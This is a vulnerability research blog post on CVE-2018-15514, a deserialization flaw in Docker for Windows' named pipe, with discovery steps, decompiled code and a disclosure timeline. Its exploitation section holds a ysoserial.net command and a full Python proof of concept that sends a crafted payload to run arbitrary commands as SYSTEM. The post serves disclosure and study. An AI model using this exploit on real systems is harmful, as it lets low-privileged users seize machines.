Docker for Windows

I have been continuing my journey of searching for windows breakout vulnerabilities in popular applications and one that I discovered in March I found interesting enough to share. Whilst kernel vulnerabilities are fun to discover, there are many core windows and third party applications that are fundamentally broken in regards to logic and makes for a lucrative means to gain a SYSTEM shell without having to bypass the several memory mitigations that stand in the way.

TL;DR; I walk through discovering and exploiting CVE-2018-15514 which is a .net deserialization vulnerability in Docker for Windows. Docker at first denied a vulnerability existed at all, but later patched it on July 19th. After further discussions, they assigned CVE-2018-15514 on the 18th August.

Introduction

Docker for Windows comes as a 64bit installation package for Windows 10 and above. I quickly spun up a Windows 10 64bit virtual machine for testing purposes. Taken directly from the docker site:

An integrated, easy-to-deploy development environment for building, debugging and testing Docker apps on a Windows PC. Docker for Windows is a native Windows app deeply integrated with Hyper-V virtualization, networking and file system, making it the fastest and most reliable Docker environment for Windows

By default, Docker for Windows installs a client and server application.

Discovering the Vulnerability

After browsing the currently running processes with Process Explorer from SysInternals, I found a process called com.docker.service. This process had created some NamedPipes called dockerBackend and dockerLogs and is compiled with .net.

Searching for NamedPipes

Permission Check

Once I had found a potential attack surface with NamedPipes, it was important that I checked what permissions were set on the NamedPipe to ensure that low privileged users could access it. Any vulnerabilities in this interface could mean that a low privileged attacker can escalate to SYSTEM level.

To do this check, I used Pipe Secuirty Viewer by Craig Peacock from Beyond Logic. Whilst this tool is old, it gets the job done (however I am open for suggestions on better tools/methods for doing these checks).

After simply running the tool, we can get a list of NamedPipes that are running on the system. By specifying our \\NamedPipe\dockerBackend pipe, we can see the allowed user and groups and what permissions are set for each.

Showing the users & groups with access to the NamedPipe

One of the users I noticed is the docker-users group, which is a windows group that is created upon installation of the Docker for Windows. The TL;DR is that this group is used for accounts that want to access containers. This looked interesting to me, so I decided to check out their permissions. As it turns out, their pretty relaxed about things.

Permissions set for the docker-users group on the dockerBackend NamedPipe

After a quick google search, I found it’s common practice for Administrators to just add a user into that group with no official documentation from Docker was disputing this.

Unofficial documentation recommending Administrators to add users to the docker-users group

Finding Valid Data

At this point I needed to find some valid data to send to this endpoint. I could have just starting diving into the source code at this point, but to be honest, at the time I had assumed that Docker for Windows was going to do some complex parsing through this NamedPipe. There are not many tools to sniff NamedPipe data, but one that I found was called I/O Ninja which has an module for this exact purpose.

Captured NamedPipe data in I/O Ninja

I set a filter for dockerBackend and proceeded to run the client, which dumped the following output. Circled in purple, is the size of the buffer, followed by a .net serialized object.

The vulnerability

So at this point, we can dive into the decompiled source code to confirm our suspicions. I am using dnSpy here, so I load up the C:\Program Files\Docker\Docker\com.docker.service binary. A quick check reveals our vulnerable code is actually inside of the Docker.core.dll binary within the Docker.Core.Pipe namespace.

Within this namespace, we can see a class defined as NamedPipeServer and the first method that is executed is Run

        public void Run()
        {
            this._cts = new CancellationTokenSource();
            CancellationToken token = this._cts.Token;
            this._currentRunningTask = this.DoRunAsync(token);
        }

This Run calls the DoRunAsync method.

        private async Task DoRunAsync(CancellationToken token)
        {
            while (!token.IsCancellationRequested)
            {
                NamedPipeServer.<>c__DisplayClass10_0 <>c__DisplayClass10_ = new NamedPipeServer.<>c__DisplayClass10_0();
                <>c__DisplayClass10_.<>4__this = this;
                try
                {
                    <>c__DisplayClass10_.pipeServer = PipeHelper.NewServerStream(this._pipeName, this._usersGroup.Sid);
                }
                catch (Exception e)
                {
                    this._logger.Error(string.Format("Unable to create a pipe: {0} {1}", e.Message, e.StackTrace));
                    continue;
                }
                try
                {
                    await <>c__DisplayClass10_.pipeServer.WaitForConnectionAsync(token);
                }
                catch (OperationCanceledException)
                {
                }
                catch (Exception e2)
                {
                    this._logger.Error(string.Format("Unable to connect: {0} {1}", e2.Message, e2.StackTrace));
                    continue;
                }
                Task.Run(() => <>c__DisplayClass10_.<>4__this.HandleRequestAsync(<>c__DisplayClass10_.pipeServer));
                <>c__DisplayClass10_ = null;
            }
        }

Then the DoRunAsync method calls the HandleRequestAsync method.

private async Task HandleRequestAsync(NamedPipeServerStream pipeServer)
{
    try
    {
        using (NamedPipeServerStream server = pipeServer)
        {
            byte[] sizeBytes = new byte[4];
            await server.ReadAsync(sizeBytes, 0, sizeBytes.Length);
            int size = BitConverter.ToInt32(sizeBytes, 0);
            byte[] requestBytes = new byte[size];
            await server.ReadAsync(requestBytes, 0, requestBytes.Length);
            BinaryFormatter bf = new BinaryFormatter();
            PipeRequest request = (PipeRequest)bf.Deserialize(new MemoryStream(requestBytes, 0, requestBytes.Length, false));

Finally, this method calls the BinaryFormatter’s Deserialize on untrusted data leading to code execution as SYSTEM.

Exploitation

Now comes the fun bit. I first needed to create a test user account and place them into the docker-users group. Following that, I launched a command shell under that users privilege.

C:\>net localgroup docker-users test /add
The command completed successfully.

C:\>runas /user:test cmd
Enter the password for test:
Attempting to start cmd as user "target\test" ...

Then, using ysoserial.net I used the BinaryFormatter class as the formatter and used @tiraniddo’s TypeConfuseDelegate gadget chain.

C:\>ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o raw -c "[CMD]" > poc.bin

Obviously, we can’t execute [CMD] so I modified the binary payload to accept any command for my poc. Now, it was simply a matter of testing things out!

Getting SYSTEM via Docker for Windows

Here is the source to the poc:

import sys
import struct

if len(sys.argv) != 2:
    print "(+) usage %s <cmd>" % sys.argv[0]
    print "(+) eg: %s \"whoami > c:\\si.txt\"" % sys.argv[0]
    sys.exit(-1)
    
cmd = "/c %s" % sys.argv[1]

payload  = "\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x0c\x02\x00"
payload += "\x00\x00\x49\x53\x79\x73\x74\x65\x6d\x2c\x20\x56\x65\x72\x73\x69\x6f\x6e\x3d\x34"
payload += "\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72\x65\x3d\x6e\x65\x75\x74"
payload += "\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79\x54\x6f\x6b\x65\x6e\x3d"
payload += "\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30\x38\x39\x05\x01\x00\x00"
payload += "\x00\x84\x01\x53\x79\x73\x74\x65\x6d\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e"
payload += "\x73\x2e\x47\x65\x6e\x65\x72\x69\x63\x2e\x53\x6f\x72\x74\x65\x64\x53\x65\x74\x60"
payload += "\x31\x5b\x5b\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x6d\x73"
payload += "\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56\x65\x72\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e"
payload += "\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c"
payload += "\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37"
payload += "\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30\x38\x39\x5d\x5d\x04\x00\x00\x00\x05"
payload += "\x43\x6f\x75\x6e\x74\x08\x43\x6f\x6d\x70\x61\x72\x65\x72\x07\x56\x65\x72\x73\x69"
payload += "\x6f\x6e\x05\x49\x74\x65\x6d\x73\x00\x03\x00\x06\x08\x8d\x01\x53\x79\x73\x74\x65"
payload += "\x6d\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x47\x65\x6e\x65\x72\x69"
payload += "\x63\x2e\x43\x6f\x6d\x70\x61\x72\x69\x73\x6f\x6e\x43\x6f\x6d\x70\x61\x72\x65\x72"
payload += "\x60\x31\x5b\x5b\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x6d"
payload += "\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56\x65\x72\x73\x69\x6f\x6e\x3d\x34\x2e\x30"
payload += "\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72\x65\x3d\x6e\x65\x75\x74\x72\x61"
payload += "\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79\x54\x6f\x6b\x65\x6e\x3d\x62\x37"
payload += "\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30\x38\x39\x5d\x5d\x08\x02\x00\x00"
payload += "\x00\x02\x00\x00\x00\x09\x03\x00\x00\x00\x02\x00\x00\x00\x09\x04\x00\x00\x00\x04"
payload += "\x03\x00\x00\x00\x8d\x01\x53\x79\x73\x74\x65\x6d\x2e\x43\x6f\x6c\x6c\x65\x63\x74"
payload += "\x69\x6f\x6e\x73\x2e\x47\x65\x6e\x65\x72\x69\x63\x2e\x43\x6f\x6d\x70\x61\x72\x69"
payload += "\x73\x6f\x6e\x43\x6f\x6d\x70\x61\x72\x65\x72\x60\x31\x5b\x5b\x53\x79\x73\x74\x65"
payload += "\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x6d\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20"
payload += "\x56\x65\x72\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c"
payload += "\x74\x75\x72\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63"
payload += "\x4b\x65\x79\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33"
payload += "\x34\x65\x30\x38\x39\x5d\x5d\x01\x00\x00\x00\x0b\x5f\x63\x6f\x6d\x70\x61\x72\x69"
payload += "\x73\x6f\x6e\x03\x22\x53\x79\x73\x74\x65\x6d\x2e\x44\x65\x6c\x65\x67\x61\x74\x65"
payload += "\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65\x72\x09"
payload += "\x05\x00\x00\x00\x11\x04\x00\x00\x00\x02\x00\x00\x00\x06\x06\x06\x07\x00\x00\x00"
payload += "\x03\x63\x6d\x64\x04\x05\x00\x00\x00\x22\x53\x79\x73\x74\x65\x6d\x2e\x44\x65\x6c"
payload += "\x65\x67\x61\x74\x65\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f"
payload += "\x6c\x64\x65\x72\x03\x00\x00\x00\x08\x44\x65\x6c\x65\x67\x61\x74\x65\x07\x6d\x65"
payload += "\x74\x68\x6f\x64\x30\x07\x6d\x65\x74\x68\x6f\x64\x31\x03\x03\x03\x30\x53\x79\x73"
payload += "\x74\x65\x6d\x2e\x44\x65\x6c\x65\x67\x61\x74\x65\x53\x65\x72\x69\x61\x6c\x69\x7a"
payload += "\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65\x72\x2b\x44\x65\x6c\x65\x67\x61\x74\x65"
payload += "\x45\x6e\x74\x72\x79\x2f\x53\x79\x73\x74\x65\x6d\x2e\x52\x65\x66\x6c\x65\x63\x74"
payload += "\x69\x6f\x6e\x2e\x4d\x65\x6d\x62\x65\x72\x49\x6e\x66\x6f\x53\x65\x72\x69\x61\x6c"
payload += "\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65\x72\x2f\x53\x79\x73\x74\x65\x6d"
payload += "\x2e\x52\x65\x66\x6c\x65\x63\x74\x69\x6f\x6e\x2e\x4d\x65\x6d\x62\x65\x72\x49\x6e"
payload += "\x66\x6f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65"
payload += "\x72\x09\x08\x00\x00\x00\x09\x09\x00\x00\x00\x09\x0a\x00\x00\x00\x04\x08\x00\x00"
payload += "\x00\x30\x53\x79\x73\x74\x65\x6d\x2e\x44\x65\x6c\x65\x67\x61\x74\x65\x53\x65\x72"
payload += "\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65\x72\x2b\x44\x65\x6c"
payload += "\x65\x67\x61\x74\x65\x45\x6e\x74\x72\x79\x07\x00\x00\x00\x04\x74\x79\x70\x65\x08"
payload += "\x61\x73\x73\x65\x6d\x62\x6c\x79\x06\x74\x61\x72\x67\x65\x74\x12\x74\x61\x72\x67"
payload += "\x65\x74\x54\x79\x70\x65\x41\x73\x73\x65\x6d\x62\x6c\x79\x0e\x74\x61\x72\x67\x65"
payload += "\x74\x54\x79\x70\x65\x4e\x61\x6d\x65\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65"
payload += "\x0d\x64\x65\x6c\x65\x67\x61\x74\x65\x45\x6e\x74\x72\x79\x01\x01\x02\x01\x01\x01"
payload += "\x03\x30\x53\x79\x73\x74\x65\x6d\x2e\x44\x65\x6c\x65\x67\x61\x74\x65\x53\x65\x72"
payload += "\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c\x64\x65\x72\x2b\x44\x65\x6c"
payload += "\x65\x67\x61\x74\x65\x45\x6e\x74\x72\x79\x06\x0b\x00\x00\x00\xb0\x02\x53\x79\x73"
payload += "\x74\x65\x6d\x2e\x46\x75\x6e\x63\x60\x33\x5b\x5b\x53\x79\x73\x74\x65\x6d\x2e\x53"
payload += "\x74\x72\x69\x6e\x67\x2c\x20\x6d\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56\x65\x72"
payload += "\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72"
payload += "\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79"
payload += "\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30"
payload += "\x38\x39\x5d\x2c\x5b\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20"
payload += "\x6d\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56\x65\x72\x73\x69\x6f\x6e\x3d\x34\x2e"
payload += "\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72\x65\x3d\x6e\x65\x75\x74\x72"
payload += "\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79\x54\x6f\x6b\x65\x6e\x3d\x62"
payload += "\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30\x38\x39\x5d\x2c\x5b\x53\x79"
payload += "\x73\x74\x65\x6d\x2e\x44\x69\x61\x67\x6e\x6f\x73\x74\x69\x63\x73\x2e\x50\x72\x6f"
payload += "\x63\x65\x73\x73\x2c\x20\x53\x79\x73\x74\x65\x6d\x2c\x20\x56\x65\x72\x73\x69\x6f"
payload += "\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72\x65\x3d\x6e"
payload += "\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79\x54\x6f\x6b"
payload += "\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30\x38\x39\x5d"
payload += "\x5d\x06\x0c\x00\x00\x00\x4b\x6d\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56\x65\x72"
payload += "\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72"
payload += "\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79"
payload += "\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30"
payload += "\x38\x39\x0a\x06\x0d\x00\x00\x00\x49\x53\x79\x73\x74\x65\x6d\x2c\x20\x56\x65\x72"
payload += "\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74\x75\x72"
payload += "\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b\x65\x79"
payload += "\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34\x65\x30"
payload += "\x38\x39\x06\x0e\x00\x00\x00\x1a\x53\x79\x73\x74\x65\x6d\x2e\x44\x69\x61\x67\x6e"
payload += "\x6f\x73\x74\x69\x63\x73\x2e\x50\x72\x6f\x63\x65\x73\x73\x06\x0f\x00\x00\x00\x05"
payload += "\x53\x74\x61\x72\x74\x09\x10\x00\x00\x00\x04\x09\x00\x00\x00\x2f\x53\x79\x73\x74"
payload += "\x65\x6d\x2e\x52\x65\x66\x6c\x65\x63\x74\x69\x6f\x6e\x2e\x4d\x65\x6d\x62\x65\x72"
payload += "\x49\x6e\x66\x6f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x6f\x6c"
payload += "\x64\x65\x72\x07\x00\x00\x00\x04\x4e\x61\x6d\x65\x0c\x41\x73\x73\x65\x6d\x62\x6c"
payload += "\x79\x4e\x61\x6d\x65\x09\x43\x6c\x61\x73\x73\x4e\x61\x6d\x65\x09\x53\x69\x67\x6e"
payload += "\x61\x74\x75\x72\x65\x0a\x53\x69\x67\x6e\x61\x74\x75\x72\x65\x32\x0a\x4d\x65\x6d"
payload += "\x62\x65\x72\x54\x79\x70\x65\x10\x47\x65\x6e\x65\x72\x69\x63\x41\x72\x67\x75\x6d"
payload += "\x65\x6e\x74\x73\x01\x01\x01\x01\x01\x00\x03\x08\x0d\x53\x79\x73\x74\x65\x6d\x2e"
payload += "\x54\x79\x70\x65\x5b\x5d\x09\x0f\x00\x00\x00\x09\x0d\x00\x00\x00\x09\x0e\x00\x00"
payload += "\x00\x06\x14\x00\x00\x00\x3e\x53\x79\x73\x74\x65\x6d\x2e\x44\x69\x61\x67\x6e\x6f"
payload += "\x73\x74\x69\x63\x73\x2e\x50\x72\x6f\x63\x65\x73\x73\x20\x53\x74\x61\x72\x74\x28"
payload += "\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x53\x79\x73\x74\x65"
payload += "\x6d\x2e\x53\x74\x72\x69\x6e\x67\x29\x06\x15\x00\x00\x00\x3e\x53\x79\x73\x74\x65"
payload += "\x6d\x2e\x44\x69\x61\x67\x6e\x6f\x73\x74\x69\x63\x73\x2e\x50\x72\x6f\x63\x65\x73"
payload += "\x73\x20\x53\x74\x61\x72\x74\x28\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e"
payload += "\x67\x2c\x20\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x29\x08\x00\x00"
payload += "\x00\x0a\x01\x0a\x00\x00\x00\x09\x00\x00\x00\x06\x16\x00\x00\x00\x07\x43\x6f\x6d"
payload += "\x70\x61\x72\x65\x09\x0c\x00\x00\x00\x06\x18\x00\x00\x00\x0d\x53\x79\x73\x74\x65"
payload += "\x6d\x2e\x53\x74\x72\x69\x6e\x67\x06\x19\x00\x00\x00\x2b\x49\x6e\x74\x33\x32\x20"
payload += "\x43\x6f\x6d\x70\x61\x72\x65\x28\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e"
payload += "\x67\x2c\x20\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x29\x06\x1a\x00"
payload += "\x00\x00\x32\x53\x79\x73\x74\x65\x6d\x2e\x49\x6e\x74\x33\x32\x20\x43\x6f\x6d\x70"
payload += "\x61\x72\x65\x28\x53\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x53"
payload += "\x79\x73\x74\x65\x6d\x2e\x53\x74\x72\x69\x6e\x67\x29\x08\x00\x00\x00\x0a\x01\x10"
payload += "\x00\x00\x00\x08\x00\x00\x00\x06\x1b\x00\x00\x00\x71\x53\x79\x73\x74\x65\x6d\x2e"
payload += "\x43\x6f\x6d\x70\x61\x72\x69\x73\x6f\x6e\x60\x31\x5b\x5b\x53\x79\x73\x74\x65\x6d"
payload += "\x2e\x53\x74\x72\x69\x6e\x67\x2c\x20\x6d\x73\x63\x6f\x72\x6c\x69\x62\x2c\x20\x56"
payload += "\x65\x72\x73\x69\x6f\x6e\x3d\x34\x2e\x30\x2e\x30\x2e\x30\x2c\x20\x43\x75\x6c\x74"
payload += "\x75\x72\x65\x3d\x6e\x65\x75\x74\x72\x61\x6c\x2c\x20\x50\x75\x62\x6c\x69\x63\x4b"
payload += "\x65\x79\x54\x6f\x6b\x65\x6e\x3d\x62\x37\x37\x61\x35\x63\x35\x36\x31\x39\x33\x34"
payload += "\x65\x30\x38\x39\x5d\x5d\x09\x0c\x00\x00\x00\x0a\x09\x0c\x00\x00\x00\x09\x18\x00"
payload += "\x00\x00\x09\x16\x00\x00\x00\x0a\x0b"

# now we patch our payload
data = bytearray(payload)

# patch the size
data[655:655] = struct.pack(">I", len(cmd))

# patch the cmd
data[659:659] = cmd

# get the size to send
size = struct.pack("<I", len(data))

# get a handle to the NamedPipe
np = open(r'\\.\pipe\dockerBackend', 'w+b')

# exploit!
np.write(size)
np.write(data)

# clean up
np.close()

Timeline

  • 2018-03-06 – Discovered and forgotten about
  • 2018-04-03 - Verified existing and sent to iDefense’s VCP
  • 2018-04-04 - Validated and acquired by iDefense
  • 2018-07-19 - Patched by Docker (without credit)
  • 2018-08-18 - Docker assigned CVE-2018-15514
  • 2018-08-30 - This blog post released

You can see Docker’s advisory here, but note that it’s not exactly advising much. However they did obtain CVE-2018-15514 for referencing this vulnerability.

Poor advisory to the users of Docker for Windows

Conclusion

This bug doesn’t have as high of an impact as regular LPE’s due the fact that the user needs to be a member of the docker-users group. However, as shown, this is a common configuration with no official documentation regarding this security boundary.

These vulnerabilities are easy to find and exploit. I suspect that .net deserialization vulnerabilities will become more prevalent as researchers discover the high availability of .net in third party applications. The tools are already here for researchers and attackers to discover them and like their Java counterpart, I believe they will impact a wide variety of third party Windows software, especially in the enterprise space.

Finally, I wish I could say Docker was easier to work with. However when iDefense first reported it, they neglected that they even had a vulnerability and when they finally agreed to develop a patch, they decided to not release an advisory, CVE or credit. This is poor form in 2018, especially for a widely deployed technology.

References